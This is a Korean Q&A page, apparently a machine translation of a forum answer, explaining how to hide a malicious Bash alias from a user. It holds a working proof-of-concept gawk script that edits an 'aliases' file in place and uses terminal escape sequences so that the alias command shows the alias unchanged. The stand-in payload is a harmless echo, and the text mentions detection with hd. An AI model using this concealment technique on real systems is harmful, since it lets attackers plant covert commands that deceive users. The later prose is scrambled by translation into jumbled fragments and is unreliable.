Linux 시스템에서 Bash에 악성 별칭이 있음을 숨기고 사용자가 모르게 실행할 수 있습니까?
Linux 시스템에서 Bash에 악성 별칭이 있음을 숨기고 사용자가 모르게 실행할 수 있습니까?
답변:
alias
명령을 사용하여 별칭 정의를 표시 하는 경우 기존 별칭을 악의적 인 별칭에 추가하고 커서 이동을 사용하여이를 숨길 수 있습니다. 완벽하게 완벽한 방법은 아니지만 잠시 동안 발견되지 않을 수 있습니다. 파이핑을 alias
통해 hd
별칭에 이스케이프 시퀀스 (커서 이동)가 있는지 여부를 알 수 있습니다. 다음은 별칭에 악의적 인 명령을 삽입하는 방법에 대한 개념 증명입니다.
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
명령은 "aliases"라는 파일을 제자리에 수정합니다.이 유형의 실제 스크립트는 다음에 실행될 때 악의적 인 별칭이 활성화되도록 목구멍에 들어가고 실제 스크립트 파일을 수정합니다.hide
은 인수 의 내용으로 실행 되므로이 질문에 보고 된 것과 유사한 오류가 발생할 수 있습니다. 별칭에 제공되는 인수를 방해 할 수 있지만 원래 및 악의적 인 부분을 되돌려 서 영향을 줄 수 있습니다. 위의 스크립트에서 인수의 끝을로 표시하려고 시도했습니다 --
.&&
하나를 다음으로 파이프하고 악의적 인 스크립트 (위의 간단한 echo
명령으로 표시) stdin
를 stdout
통과하는 데이터로 사용하여 데이터가 진행되는 동안 데이터를 수정하거나 숨길 수 있습니다. 다른 방향 전환을 방해하지 않음으로써 더 존재hide
너무 문자열은 서로 다른 커서 이동하고 원래 별명의 텍스트를 포함하도록 수정 될 수있는 alias
명령은 악의적 인 부분과 함께 그것을 숨기는 대신 수정되지 않은 별칭을 보여 나타납니다.. aliases
. 그런 다음 영향을받는 별칭을 사용하여 어떻게되는지 알 수 alias|hd
있습니다.